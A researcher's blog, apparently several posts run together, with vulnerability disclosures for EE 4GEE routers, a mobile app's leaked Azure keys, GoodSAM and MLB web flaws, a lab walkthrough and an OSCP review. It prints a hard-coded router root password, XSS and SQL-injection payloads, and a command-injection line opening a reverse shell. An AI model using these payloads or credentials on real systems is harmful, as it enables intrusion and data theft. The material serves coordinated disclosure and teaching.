This would enable any user on the LAN to gain access to the router using these hard-coded credentials.

Update: 26/10/2018 - EE have released patch that fixes the issue. Users are recommended to follow the EE router upgrade process via the web UI.

Hardware Version/Model: 4GEE Router HH70VB-2BE8GB3 (HH70VB)

Vulnerable Software Version: HH70_E1_02.00_19

Patched Software Version: HH70_E1_02.00_21

Vulnerability CVE(s): CVE-2018-10532

Product URL: https://shop.ee.co.uk/dongles/pay-monthly-mobile-broadband/4gee-router/details

Attack Proof of Concept

As shown below, by logging into the “admin” user over SSH, it is possible to then discover the hard-coded SSH password using strings on the web server binary. This is quite interesting, as the “admin” user password is changed once the WebUI admin user has changed also.

Full Vulnerability Details

Weak Authentication / Default Admin Password (CWE-798)

An issue was discovered on EE 4GEE HH70VB-2BE8GB3 HH70_E1_02.00_19 devices.

Hardcoded root SSH credentials were discovered to be stored within the “core_app” binary utilised by the EE router for networking services. An attacker with knowledge of the default password (“oelinux123”) could login to the router via SSH as the root user, which could allow for the loss of confidentiality, integrity, and availability of the system. This would also allow for the bypass of the “AP Isolation” mode that is supported by the router, as well as the settings for multiple Wireless networks, which a user may use for guest clients.

An attacker must be able to communicate with the SSH server, however the router supports multiple networks and “AP Isolation” mode which could be bypassed if the malicious user compromises the router with the default credentials/hard coded SSH credentials.

Affected Component

root@OpenWrt:/usr/bin# strings core_app | grep root sshpass -p oelinux123 scp root@192.168.225.1:%s %s sshpass -p oelinux123 scp %s root@192.168.225.1:%s

Remediation

It appears that EE have mitigated this vulnerability by disabling SSH access completely, as shown below, after comparing both firmware update packages (Old/new).

Although this does not fix the exact issue of hardcoded root credentials, it is still a mitigation.

Old:

New:

Disclosure Timeline:

29th April, 2018 at 12:52 GMT. Email sent with technical vulnerability information and PoC. 
10th May, 2018 at 23:23 GMT. Followup email sent, no acknowledgement received. 
11th May, 2018 at 06:47 GMT. Acknowledgement received from EE, remedial work being reviewed. 
29th June, 2018 at 18:56 GMT. Followup email sent, noticed EE security patch email.. confirming if this fixes vulnerability. 
29th June, 2018 at 19:01 GMT. Email from EE, still evaluating fixes of the vulnerability. 
18th July, 2018 at 19:32 GMT. Email sent to EE, asking for update as 90 day window closing shortly. 
18th July, 2018 at 22:12 GMT. Reply from EE, asking for IMEI and current S/W version. 
19th July, 2018 at 15:14 GMT. Reply from EE, asking for exact steps to reproduce issue. 
20th July, 2018 at 07:56 GMT. Email sent to EE with requested information. 
4th October, 2018 at 22:58 GMT. Email sent to EE asking for update. 
5th October, 2018 at 08:29 GMT. Reply from EE stating its patched. 
5th October, 2018 at 19:51 GMT. Advised EE that its not patched on this version. 
6th October, 2018 at 06:54 GMT. Reply from EE, stating they will check with their development team and will come back to me on Monday. 
6th October, 2018 at 08:30 GMT. Email to EE acknowledging last email and that is OK. 
6th October, 2018 at 08:40 GMT. Reply from EE asking for clarity on the vulnerability and the recommended fix, as well as the overall risk rating. 
6th October, 2018 at 09:11 GMT. Email sent to EE with the requested information. 
6th October, 2018 at 09:17 GMT. Reply sent from EE, mentioning the comments/advice is understood and they will be in touch on Monday. 
8th October, 2018 at 21:50 GMT. Email sent to EE asking for fix ETA. 
8th October, 2018 at 22:03 GMT. Reply from EE, advising they are still working on the issue and the options. Update to be provided tomorrow. 
9th October, 2018 at 20:05 GMT. Reply from EE, confirming SSH functionality has been disabled in the fix and there is further verification required before an update is released. 
9th October, 2018 at 20:13 GMT. Email sent to EE asking for approximate ETA and planned fix date. 
9th October, 2018 at 20:16 GMT. Reply from EE, stating its being pushed through as a matter of urgency, that the fix has been verified and the binary is being compiled at the moment, further verification still required. 
12th October, 2018 at 11:51 GMT. Email sent to EE, asking for approximate ETA. 
12th October, 2018 at 12:43 GMT. Reply from EE, stating validation completed 20 minutes ago. Consumer package to be deployed rather than the test variant, will be released this week. 
13th October, 2018 at 19:39 GMT. Email sent to EE, asking for notification when consumer version released. Stated I will hold public disclosure at present. 
17th October, 2018 at 15:40 GMT. Reply from EE, stating validation has been completed, however theirs another minor change needed. Phone call to be conducted tomorrow to finalise build and if two changes are required or not. Feedback to be provided tomorrow. 
18th October, 2018 at 19:02 GMT. Email sent to EE, asking for updates. 
18th October, 2018 at 19:39 GMT. Reply from EE, testing has been completed but another update is going to be included and the bundle will be released early next week. 
18th October, 2018 at 20:26 GMT. Email sent to EE, mentioning this was said last week and that I will be going public with vulnerability disclosure next Wednesday, as this is well over 90 day agreed disclosure period. 
21st October, 2018 at 20:17 GMT. Reply from EE, stating they addressed the SSH issue by disabling it but another patch needs to be merged to manage customer experience. Original validation of vulnerability took longer than anticipated. 
23rd October, 2018 at 18:05 GMT. Email sent to EE, asking for further updates. 
23rd October, 2018 at 18:11 GMT. Reply from EE, stating release will be deployed Thursday and asking for IMEI. 
24th October, 2018 at 20:01 GMT. Email sent to EE with IMEI.

Other attacks are also possible by misleading and/or tricking users into executing code or clicking crafted URLs to trigger multiple functions such as device reset, device reboot, device restore (malicious config), sending SMS messages or stealing device configuration information, SMS messages and any other information on the device that a user may have access to and without authentication.

Additionally, multiple JSONP information disclosures were discovered, which display the full username and password of the administrative user while unauthenticated and allow access to multiple privileged functions such as device reset, device reboot and device configuration download/upload and SMS messages stored on the device.

I’d also like to note, the responsiveness and prompt vulnerability resolution from EE, as I was expecting this issue to get ignored or swept under the carpet, like most IOT/Router vulnerabilities, however in this case constant communication was kept throughout the process and the issues resolved.

Hardware Version/Model: 4GEE WiFi MBB (EE60VB-2AE8G83).

Vulnerable Software Version: EE60_00_05.00_25.

Patched Software Version: EE60_00_05.00_31.

Vulnerability CVE(s): CVE-2017-14267, CVE-2017-14268, CVE-2017-14269.

Proof of Concept Code: https://github.com/JamesIT/vuln-advisories-/tree/master/EE-4GEE-Multiple-Vulns

Attack Proof of Concept

After finding multiple security vulnerabilities, I decided to chain a number of these together to achieve device compromise remotely via SMS using Stored XSS and CSRF vulnerabilities, which clearly demonstrates the need for even low risk vulnerabilities being patched, as once other issues are found they can be used to achieve further levels of access, as I highlight below.

So firstly, I decided to create the malicious binary file that we will upload to the victim’s device, by modifying the username and password.

Next, I modified the device SSID and the network WPA2 key, which would deny the user access to the device, as the password and network information would have changed.

The binary configuration file was then saved to the attackers machine with the file name of “configure.bin”.

I then used the “Restore backup” option within the router administration page to intercept the  POST request and generate the needed payload for the exploit, which in this case due to the binary data was using JavaScript XHR to send the request data. Additionally, I modified the payload options to submit the request automatically.

The request was then saved to a text file on a remote web server as “r.js” with the HTML data stripped, thus leaving only the specific function with the XHR data intact.

Next, I then sent an SMS text message to the routers phone number with the XSS payload of ‘">’. The specific name of “r.js” was used, as the remote device hides data over a specific length within the SMS list page and thus would not be executed correctly.

As you can see within the screenshot below, upon viewing the SMS Inbox the remote JavaScript payload is included within the webpage, thus executing the JavaScript XHR request to upload the binary data to the ‘/goform/uploadBackupSettings’ webpage.

Finally, the device configuration was modified with the uploaded binary data thus compromising the device integrity and locking the user out of the device, which would require device reset.

The home page was then accessed, confirming the router SSID of “Hacked Router”. Additionally, other venues of exploitation, would be to change the network proxy and provider settings which would allow an attacker to perform man in the middle attacks against the device, thus compromising it’s confidentiality.

Full Vulnerability Details

SMS List - Stored Cross Site Scripting (XSS)

The 4GEE SMS Inbox webpage is vulnerable to Stored Cross Site Scripting (XSS) within the “SMS_Content” parameter retrieved by “getSMSlist”, which allows an attacker to send malicious scripts to an unsuspecting user via SMS text messages and once executed an attacker could steal user cookies, device information, SMS messages or in this specific case reset the device to an attacker’s configuration, thus completely taking control of the device and its settings.

The first step in exploiting the vulnerability was to send an XSS payload to the routers mobile phone number provided by EE, as demonstrated below.

The SMS viewer webpage was then opened from within the router administration panel on ‘http://ee.mobilebroadband/default.html#sms/smsList.html?list=inbox'.

Next, the response from the ‘smsList’ GET request was returned with the XSS payload data within the “sms_content " parameter.

Finally the JavaScript payload was executed, displaying the domain context of ‘ee.mobilebroadband’.

Connections List – Stored Cross Site Scripting (XSS) & Cross Site Request Forgery (CSRF)

The 4GEE Connections List & Profile Management webpage is vulnerable to Stored Cross Site Scripting (XSS) and Cross Site Request Forgery (CSRF) within the “Name” parameter, which allows an attacker to send malicious scripts to an unsuspecting user via CSRF to then execute arbitrary JavaScript code on execution, which could then compromise sensitive SMS messages and/or data.

The first step to exploiting the vulnerability was to visit the “Profile Management webpage on ‘http://192.168.1.1/default.html#connection/profileManagement.html’ with the profile name parameter being set to ‘1’ and then sent to Burp Suite by clicking “Save”.

Next, the request was sent to the CSRF PoC generator via the “Action” button. In this case, an anti-CSRF token was noted “_TclRequestVerificationToken” in the request and was not added to the subsequent proof of concept code.

The “Test in browser” option was then selected, which was successful as demonstrated in the screenshot below.

Additionally, as shown below the XSS payload was triggered from the “Connection Status” page in addition to the “Profile Management” webpage.

Restore Configuration – Cross Site Request Forgery (CSRF)

The 4GEE configuration restore functionality is vulnerable to Cross Site Request Forgery (CSRF) attacks, which can be used by an attacker to execute any “GET” or “POST” requests that are not protected, in this case it allowed for an attacker to specify and upload a malicious binary configuration file that once uploaded, restores to the uploaded configuration. The application should implement robust refer header checking and/or anti-CSRF tokens that prevent the request when not sent with such requests.

The first step was to intercept the “uploadBackupSettings” webpage using Burp Suite and then send such request to CSRF PoC generator using the “Action” tab.

The payload was then automatically set to XHR and the option to “Test in browser” was selected to verify the vulnerability and it’s exploit vector.

Finally, the option to “Submit request” was selected from the webpage, with the subsequent request being captured in Burp Suite, showing the context and refer of “http://burp”.

As shown below, the binary configuration data was uploaded to the device causing it reboot.

SMS Redirection – Cross Site Request Forgery (CSRF)

The 4GEE SMS Forwarding functionality is vulnerable to Cross Site Request Forgery (CSRF) attacks within the “SMS Forwarding” web page, which can be used by an attacker to execute any “GET” or “POST” requests that are not protected, in this case it allowed for the redirection of any received SMS message once a user clicks a specially crafted URL or background script. The application should implement robust refer header checking and/or anti-CSRF tokens that prevent the request when not sent with such requests.

The first step was to visit the ‘http://192.168.1.1/default.html#sms/smsForwarding.html’ webpage, with my mobile phone number then being entered into the “Mobile Phone Number” input field.

Next, the “Apply” button was selected and the request intercepted within Burp Suite. Notice the presence of the “_TclRequestVerificationToken”, which in this case will be removed within the proof of concept, by sending the request to CSRF PoC generator as shown below.

The “Test in browser” option was then selected from the CSRF PoC generator screen, with the request then being submitted and intercepted within Burp Suite. As demonstrated below by the referer header and lack of anti-csrf token.

Finally, the presence of the vulnerability is confirmed by the SMS forwarding service being enabled and set to the attackers phone number, allowing an attacker to hijack all incoming SMS messages sent to the device via CSRF attacks.

Router Reset & Reboot – Cross Site Request Forgery (CSRF)

The 4GEE Reset/Reboot Router functionality is vulnerable to Cross Site Request Forgery (CSRF) attacks within the “System” web page, which can be used by an attacker to execute any “GET” or “POST” requests that are not protected, in this case it allowed for the remote device reset of the 4GEE device once a user clicks a specially crafted URL or background script. The application should implement robust refer header checking and/or anti-CSRF tokens that prevent the request when not sent with such requests.

The first step was to select “Reset” from the System section of the administration panel, located on ‘http://192.168.1.1/default.html#settings/systemSetting.html’.

Next, the request was intercepted within Burp Suite and then sent to CSRF PoC generator via the “Action” button.

The option to “Test in browser” was then chosen, with the “Submit request” then being clicked, as demonstrated below  with the referer of “http://burp”.

Finally, the router reset was completed confirming the presence of such vulnerability.

Internet Connect/Disconnect – Cross Site Request Forgery (CSRF)

The 4GEE Connect/Disconnect functionality is vulnerable to Cross Site Request Forgery (CSRF) attacks within the “Connection Status” web page, which can be used by an attacker to execute any “GET” or “POST” requests that are not protected, in this case it allowed for the remote disconnection of the 4GEE device once a user clicks a specially crafted URL or background script.

The “Disconnect” option was firstly selected and then intercepted within Burp Suite.

Next, the request was sent to Burp Suite CSRF PoC Generator by selecting the “Action” menu.

The request was then sent to “Test in browser” and the option to submit the request was chosen, as identified below.

Finally, the users internet connection was disconnected.

Multiple Unauthenticated JSONP Information Disclosures

The 4GEE router uses various JSONP endpoints to retrieve and/or set data, which are vulnerable to unauthenticated information disclosure of sensitive configuration data, settings, administration password and SMS messages/lists, such unauthenticated disclosures could be remotely retrieved using CSRF/XSS/Phishing attacks previously disclosed or via unauthorised users.

The following endpoints have been deemed to be vulnerable:

http://192.168.1.1/goform/getPasswordSaveInfo 
http://192.168.1.1/goform/getSMSAutoRedirectSetting 
http://192.168.1.1/goform/getSMSStoreState 
http://192.168.1.1/goform/getSMSReportlist 
http://192.168.1.1/goform/getSingleSMSReport?rand=0.133713371337 
http://192.168.1.1/goform/getNetworkInfo 
http://192.168.1.1/goform/getSingleSMS?sms_id=1&rand=0.133713371337 
http://192.168.1.1/goform/getProfileList 
http://192.168.1.1/goform/getRouterInfo 
http://192.168.1.1/goform/getSimcardInfo 
http://192.168.1.1/goform/getWlanInfo 
http://192.168.1.1/goform/getWlanClientInfo 
http://192.168.1.1/goform/getSysteminfo 
http://192.168.1.1/goform/getWanInfo 
http://192.168.1.1/goform/getImgInfo 
http://192.168.1.1/goform/getDMZInfo 
http://192.168.1.1/goform/getUsbIP?rand=0.13371337 
http://192.168.1.1/goform/getUsbIP?rand=0.13371337 
http://192.168.1.1/goform/getMACFilterInfo

After viewing various responses and requests within Burp Suite, various endpoints were accessed while not authenticated to the web application, which resulted in sensitive information being disclosed, such as the device username, password and SMS messages, as demonstrated below.

Disclosure Timeline:

27th July, 2017 at 21:32 GMT. Email sent with technical vulnerability information and PoC.
27th July, 2017 at 22:00 GMT. Response from EE devices manager, confirming receipt of PoC.
31th July, 2017 at  18:47 GMT. Update from vendor, patches being developed for reported issues.
1st August, 2017 at 10:43 GMT. Reply sent to vendor.
10th August, 2017 at 10:32 GMT. Update from vendor, patches still being developed.
18th August, 2017 at 12:11 GMT. Email sent to vendor asking for update/ETA.
18th August, 2017 at 12:15 GMT. Response from vendor, updates to be released on Monday.
18th August, 2017 at 12:30 GMT. Reply sent to vendor with device IMEI for online update process.
22nd August, 2017 at 15:54 GMT. Response from vendor, beta firmware released to verify  changes.
23rd August, 2017 at 21:29 GMT. Reply sent to vendor, vulnerabilities successfully patched.
24th August, 2017 at 09:32 GMT. Response from vendor, patch publicly released to customers.
24th August, 2017 at 12:00 GMT. Full disclosure via Blog.

OWASP Defines this class of vulnerability as “Insecure Data Storage”:

Insecure data storage vulnerabilities occur when development teams assume that users or malware will not have access to a mobile device’s filesystem and subsequent sensitive information in data-stores on the device. Filesystems are easily accessible. Organizations should expect a malicious user or malware to inspect sensitive data stores. Rooting or jailbreaking a mobile device circumvents any encryption protections. When data is not protected properly, specialized tools are all that is needed to view application data [1].

Vulnerability Details:

Firstly, when I saw the keys I went straight to Azure documentation to see what level of access such keys could give and Azure states that the account storage key is akin to the “root password” and that it should NOT be hard-coded or stored as plain text, where in this case it was embedded into an application “.apk” [2].

So you may be wondering, how did I obtain such keys from the APK? Well I used an online service named “http://www.javadecompilers.com/apk”, which decompiles APK files using JADX into zip format.

Next, I then used “grep -R ‘key’ .” to search for strings within the APK such as “password” “api” and “key” which resulted in the discovery of “Accountkey=XXX” and “AccountName=XXX” on further inspection. As you can see below within the “AzureConnection.java” file, both account name and account key was discovered along with the container name of “attachments”.

Next, I downloaded the Linux Azure CLI toolkit from Microsoft and connected to the instance issuing the “container list” function. This retreived some VERY Interesting containers such as ‘attachments’, ‘uploads’ and ‘vhds’. I was most intrigued of the fact, ‘vhds’ existed and after viewing the file names, it confirmed my suspicion that I had access to their server virtual machine files and could compromise their infrastructure with such access.

I then retrieved the contents of the ‘vhd’ container by issuing the command ‘storage blob list’ for the container ‘vhds’, which highlighted multiple server VHD files that I could download and/or modify.

Feedback/Suggestions:

I would suggest that the organisation reviews the application against the OWASP Mobile Testing Top 10 [1], to discover further vulnerabilities that could put the organisation at further risk.

An attacker with access to the vulnerability discovered, would be able to severely compromise the organisation due to the incident reports present on Azure, along with other sensitive files and information like Azure Cloud VHD files, which Microsoft recommends against storing in plain-text or hard-coded format [2], to prevent against this attack an API should be used between the application and Azure cloud server.

Finally, despite not being able to disclose the organisation name or application I would like to say thank you to them for handling this issue in a prompt and respective manner, which resulted in a good result for both parties involved, as now the application is secure.

References:

[1] https://www.owasp.org/index.php/Mobile_Top_10_2016-M2-Insecure_Data_Storage [2] https://docs.microsoft.com/en-us/azure/storage/storage-configure-connection-string [3] http://www.javadecompilers.com/apk

Disclosure Timeline:

17th February, 2017 at 01:32 GMT. Email sent requesting security contact information.
17th February, 2017 at 15:36 GMT. Response from vendor/org requesting full details.
17th February, 2017 at 16:00 GMT. Full technical details sent to company director.
17th February, 2017 at 16:13 GMT. Response from vendor/org stating they will look into it/resolve urgently.
16th July, 2017 at 22:50 GMT. Email sent asking for update on vulnerability resolution.
22nd July, 2017 at 13:21 GMT. No response, further email sent asking for permission if I can disclose with organisation name/details via Blog.
22nd July, 2017 at 23:35 GMT. Response received from company director. Company does not wish app or name to be included in disclosure.
23rd July, 2017 at 10:00 GMT. Full Disclosure via Blog.

Despite this however, I did find two vulnerabilities within the application that may have been overlooked. Specifically Cross Site Request Forgery (CSRF) within the “Account Profile” page, along with Cross Site Scripting (XSS) within the same page, the account profile page being loaded upon login.

Now typically, CSRF and XSS issues on their own are not that much of a critical vulnerability in the grand scheme of things, however in this instance it was possible to chain both CSRF/Stored XSS vulnerabilities to set the XSS payload within the account profile fields and then steal the user cookie every time they login or view the page.

Finally, as the GoodSAM Data Protection section said they take data protection seriously, I thought I would not have any problems getting these vulnerabilities resolved under responsible disclosure, however I was wrong on this occasion and have had to release the information. (See Disclosure Issues section).

“We take your data protection extremely seriously. We are registered with the Information Commissioners Office (no: ZA094052) and our technology team take the security of our data and servers very seriously. "

Vulnerability Details

The first vulnerability discovered was Cross Site Request Forgery (CSRF) within the account profile page, which per OWASP documentation is defined as [4][5]:

Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker’s choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.

The second vulnerability discovered was Stored Cross Site Scripting (XSS) within the same account profile fields, which per OWASP documentation is defined as [1][2][3]:

Stored attacks are those where the injected script is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information. Stored XSS is also sometimes referred to as Persistent or Type-I XSS.

Account Profile - Cross Site Request Forgery (CSRF):

The first vulnerability was Cross Site Request Forgery within the account profile update page, which is demonstrated below. Take note of the email address and email entered within it.

The next step was to proxy the request with Burp Suite and then send the request to Burp Suite Professional’s CSRF PoC generator, by selecting “Action –> Engagement Tools –> CSRF PoC Generator”. As shown below, the name and email address fields were modified with attacker account data, including an XSS payload within the name.

Next the “Test in browser” option was selected and the URL pasted in the web browser. The request was then intercepted by Burp Suite showing the referrer as “http://burp/” and not “www.goodsamapp.org”. As shown the attacker data is entered as POST parameters.

The request was then successfully submitted by the attacker CSRF payload, resulting in the XSS payload being entered into the name field and the emergency contact email being modified.

Finally, the “Manage” option is selected and the XSS payload is successfully executed. This means that an attacker can thereby execute arbitrary JavaScript XSS payloads within GoodSAM user accounts if a user clicks on a link, launches a HTML file or even loads an image with the POST request file as source.

As demonstrated this can be deadly, as now an attacker can have access to the users account by stealing the user cookie and then the private medical information located within it. Specifically, the attacker would steal the user cookie on every login, using a cookie theft payload.

Account Profile - Stored Cross Site Scripting (XSS):

The first step was to change the profile field “Emergency Contact Full Name” to ""><script>alert(document.domain)</script>" and then press the “Update Profile” page which results in XSS execution.

As demonstrated below, the JavaScript XSS payload is executed, confirming it is within the web application context (www.goodsamapp.org).

Now you may be wondering, how does the XSS attack work exactly? What am I looking for to find such vulnerabilities. Well specifically in this case, the account profile page loads the data within value fields and the value is set within two speech marks (E.g “VALUE”).

Now due to how HTML works, if you put another " within the payload you will then escape out of the value tag and can inject your own HTML tags within it such as onclick="<script>alert(1)</script>" or by fully escaping the input tag by doing "><script>alert(1)</script> which is what I did in this case.

Chanining CSRF/XSS Demonstration:

Disclosure Issues:

Previously I have found vulnerabilities within other websites and have happily disclosed them to vendors and/or organisations, resulting in typically a positive or neutral response and the issue being resolved. (See below).

However in this case, as soon as I emailed the proof of concept and technical information I received this response, without asking for further clarification.

I then sent further technical information, proof of concept and a video demonstrating the attack/impact:

GoodSAM then responded to me, further dismissing and ignoring the two vulnerabilities stating that their “Machine Learning” prevents the attacks, yet I have a full video demonstrating a proof of concept.

Finally, after going backwards and forwards without a resolution I asked if they plan on resolving the issues and may I disclose the vulnerabilities on my blog if this is the case and have since left it at that.

Feedback/Suggestions:

My feedback and suggestions to the GoodSAM team, would be to ensure they honour their commitment to taking security seriously [7], even though this vulnerability is not a critical RCE (Remote Code Execution) or severely critical vulnerability, it is still a vulnerability that can attack users via phishing, or other means to achieve full account takeover and compromise of highly sensitive and private medical information, that once stolen is in the wild potentially. Additionally, by taking a defence in depth approach to security, you mitigate the possibility of medium risk vulnerabilities being chained to achieve further levels of access, as well as committing to your statement of “data security”.

Additionally, resolving XSS and CSRF vulnerabilities do not put undue burden on the organisation and can be easily remediated by implementing input sanitization, encoding and filtering along with ensuring POST requests have anti-CSRF or verification tokens, to ensure they are only sent within the site context and not by third party websites [3][5][6].

References:

[1] https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) [2] https://www.owasp.org/index.php/Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002) [3] https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet [4] https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF) [5] https://www.owasp.org/index.php/CSRF_Prevention_Cheat_Sheet [6] https://www.owasp.org/index.php/Defense_in_depth [7] https://www.goodsamapp.org/dataprotection

Disclosure Timeline:

30th June, 2017 at 23:08 GMT. Email sent requesting security contact information.
14th July, 2017 at 19:51 GMT. No response from first email, vulnerability POC/information sent to three listed email addresses.
14th July, 2017 at 20:07 GMT. Reply received (Technical Director), dismissing vulnerability as non-issue.
14th July, 2017 at 20:26 GMT. Further technical information sent, including video PoC.
15th July, 2017 at 14:58 GMT. Reply received (Technical Director), further dismissing vulnerability.
15th July, 2017 at 15:24 GMT. Further explanation/clarification sent, explaining risks.
17th July, 2017 at 14:12 GMT. Email sent requesting update/checking email was received and permission to disclose, if no intention of resolving issue.
17th July, 2017 at 15:55 GMT. Reply received (Technical Director). Advises I can disclose or notify whoever and that they have no interest talking or speaking to me, unless I can breach their servers and extract data.
17th July, 2017 at 19:30 GMT. Full Disclosure via Blog.

In particular, the website was vulnerable within the “FORM_CODE” parameter with the payload of "--!><Svg/Onload=confirm(' OPENBUGBOUNTY')>" being used to exploit the reflected XSS vulnerability. (See below).

Vulnerability Information

The “FORM_CODE” parameter is vulnerable within the link rel and meta property tags, as shown below and within the above screenshots. (See https://pastebin.com/KztVKeFc for URL).

Feedback/Suggestions:

MLB should implement input filtering and encoding on all user supplied input to ensure raw XSS/HTML data is not executed within the user context [1][2].

Further Information:

[1] https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) [2] https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet [3] https://www.openbugbounty.org/incidents/229173/

Disclosure Timeline:

29 April, 2017 at 12:22 GMT Vulnerability reported via Open Bug Bounty 
1 May, 2017 at 06:31 GMT Vulnerability verified and confirmed 
1 May, 2017 at 06:31 GMT Notification sent to generic security emails / Tweets sent to MLB. 
1 May, 2017 at 06:31 GMT Notification sent to emails provided by researcher 
1 May, 2017 at 10:17 GMT Notification sent to subscribers (without technical details) 
29 May, 2017 at 07:15 GMT Vulnerability details publicly disclosed (Open Bug Bounty) 
15 July, 2017 at 09:50 GMT Vulnerability details publicly disclosed (Blog)

The first step was to use nmap which revealed the presence of various open ports and in particular port 80 (HTTP).

nmap -sS -T5 192.168.74.134 
Nmap scan report for 192.168.74.134 
Host is up (0.00018s latency). Not shown: 994 closed ports 
PORT     STATE SERVICE 
22/tcp   open  ssh 
80/tcp   open  http 
111/tcp  open  rpcbind 
443/tcp  open  https 
631/tcp  open  ipp 
3306/tcp open  mysql

After viewing the web page, a administrative login panel was found. The first step was to attempt to perform SQL injection to see if the web page is vulnerable. The username of “admin” and “wrongpassword' OR ‘a’=‘a” was utilised to bypass the login page.

Voila! We have access. After gaining access, I attempted to include another command along with the IP address to test for the lack of input filtering. If successful, this should display the passwd file.

And there we have it, the passwd file is displayed along with the ping command which confirms the presence of command injection. The next step will be to attempt to gain shell access to the system.

A bash one liner was entered along with the localhost IP address, which should give send a reverse TCP shell on port 53 to the attacker machine. The following command was entered:

127.0.0.1; bash -i >& /dev/tcp/192.168.74.133/53 0>&1

Boom! We have shell, as you can see below the shell is running under the Apache account which means privilege escalation will need to be performed.

The next step was to verify the kernel version in an attempt to find a kernel privilege escalation exploit.

After using Google/Searchsploit, a exploit was found very quickly as shown below.

https://www.exploit-db.com/exploits/9542/

The exploit was downloaded from the attacker machine into the tmp directory and then compiled by using gcc.

Finally, the exploit was executed which resulted in a root shell. Sweet!

If you have any questions, feel free to leave a comment or contact me via Twitter/Email. More write ups to follow in the coming weeks.

In my opinion the OSCP certification is worth the initial cost and has a high return of investment, compared to other certifications due to the fact the course is practical and proves to employers the candidate is competent in penetration testing concepts and can apply them to a multitude of environments. Having spoken to hiring managers, the OSCP qualification is highly desirable and is vastly gaining recognition around the world, which makes this certification an excellent way to get into the information security field.

Background

I’m currently a third year BSc(Hons) Ethical Hacking Student at the University of Abertay and have three years of experience within the IT sector in various environments such as HelpDesk & System Administration (Linux/Windows). I’ve also taken eCPPT before and hold CompTia A+, Sec+, Net+ and MCITP: Enterprise Desktop Support Technician. I would say my previous experience with Windows/Linux did help, although my programming/scripting skills where pretty basic before I took OSCP and managed to improve them during the course.

Who should take the course?

In my opinion anyone can take this course, however you must have a general understanding of TCP/IP Networking, Linux/Windows command line syntax, basic security concepts, Google Kung Fu and Bash/Python/Perl scripting knowledge will come in useful too. You must also have a passion and dedication to keep going and try harder, if you are the sort of person who needs to be hand held then this course may not be for you.

Although, if you are used to being guided then changing that strategy to self-learning will ensure you succeed in the lab. In essence, you must be willing to research areas you are struggling with and dive deeper into concepts/tools/exploits and vulnerabilities that OffSec does not provide information on. Resources such as Exploit-DB, Stack Overflow and Google have helped me tremendously. If you get stuck on something, keep googling and try to locate the relevant knowledge to understand further what you need to do as OffSec admins will not give you answers.

PWK Labs

The bread and butter of the PWK course is the labs and not the actual training material, upon receiving the PWK course material you will get access to the labs by connecting to the VPN server with the provided credentials. I will not reveal the total amount of systems, however there is a huge number of systems with a extensive variety of both Windows & Linux operating systems and numerous vulnerabilities from web applications, vulnerable services and misconfiguration issues/unpatched systems which allows you to practice your skills in numerous areas in a safe environment.

Another point to note, is that the labs are a shared environment and other students may be on the same systems, so you should check the revert time of a machine was not too recently before working on it and revert the machine before you start enumeration attempts. There has been a few times where a student has modified the system in a way that was not intended or left privilege escalation information/exploits which spoiled the process for me. Always revert!!

On the topic of Metasploit usage within the labs, you may use whatever tools/exploits you wish from it. However, in my opinion you should be careful to not limit yourself to being a tool monkey using only Metasploit and remember you can only use it once during the exam. There are plenty of manual exploits available which may need to be modified but this will enhance your understanding of working with exploits, shellcode and getting to know how they work. I already knew the basics of Metasploit so did not need to learn much of the tool, however if you do not have much experience with it by all means use it to learn and test out various techniques but also attempt with manual exploits.

Finally, you will be expected to break into systems on four networks (Public/IT/Dev & Admin). which may require the use of tunnelling/pivoting techniques. I’d advise you fully read and understand that section within the PDF as it will help tremendously. I’d also recommend treating this like a real penetration test, you will need to start enumeration from the basics to find hosts to target first which can be done using various ping sweep techniques, nmap scans and other methods. So remember your training and TRY HARDER!

Having finished the labs and exam, I very much miss the labs and wish I could go back and keep going breaking into more systems. The labs are VERY addictive and I did not find this to be a typical course/exam because of that very reason and practical courses are more of my style.

OSCP Exam

During the OSCP exam you will be provided with a VPN connection to a lab environment and will have 23 hours and 45 minutes to achieve the required number of points on the exam (70 points) and points may be awarded for partial compromise (low privilege access). Each exam machine is worth a different number of points and after completing the first part of the exam, you will then have 24 hours to complete an exam report on your progress and may also send in with that the course exercise/lab report. I would highly recommend completing the lab report and the exercises as this may give you +10 points on the exam, as long as you follow the requirements and complete the documentation thoroughly.

I myself did complete both lab/exercise report and submitted this with the exam report, and would highly recommend you do this along with using the recommended report template from PWK. Both resources can be found below to get further information on the exam.

https://support.offensive-security.com/#!oscp-exam-guide.md https://www.offensive-security.com/pwk-online/PWKv1-REPORT.doc

I started my exam at 12:00 and immediately started to run enumeration scripts, and identify potential vulnerabilities which took me around two hours to do. After this I got my first full compromise which gave me some points. Around three and a half hours into my exam I managed to exploit another system and worked on privilege escalation. I then took a break and went and had something to eat.

After this, I then spent another two hours trying to get one of the low point machines, however I kept banging my head against the wall as I was obviously missing something simple despite enumerating the hell out of the machine. As I was making very little progress, I moved on to one of the higher point machines and further enumerated this which took up the majority of my time until I realised what I was missing. After gaining access to the machine, I spent the next few hours after this attempting privilege escalation which was successful. At this point it was around 2am. After another break, I got back to exploiting the low point machine with very little success again. I knew with the current hosts I had, and with my points from the lab report I would pass most likely.

However I kept trying harder, and moved onto another high point machine and did not manage to gain access to the machine. At this point it was around 5am and my brain was fried, I set an alarm for 3 hours and went to sleep.

After waking up and grabbing a coffee and 30 minutes of reviewing the host enumeration data I gained access to the machine and got my fourth machine. At this point I knew I’d passed and was very happy indeed! I kept on going to exploit the last host, however could not find a way in. I stopped at around 10:50am and ensured I had all screenshots and then started to work on the report which took me a number of hours as I wanted to ensure it was perfect. I then submitted my 26 page exam report along with lab/exercise report. And patiently awaited the results, which came back around two days later with a pass!

Conclusion

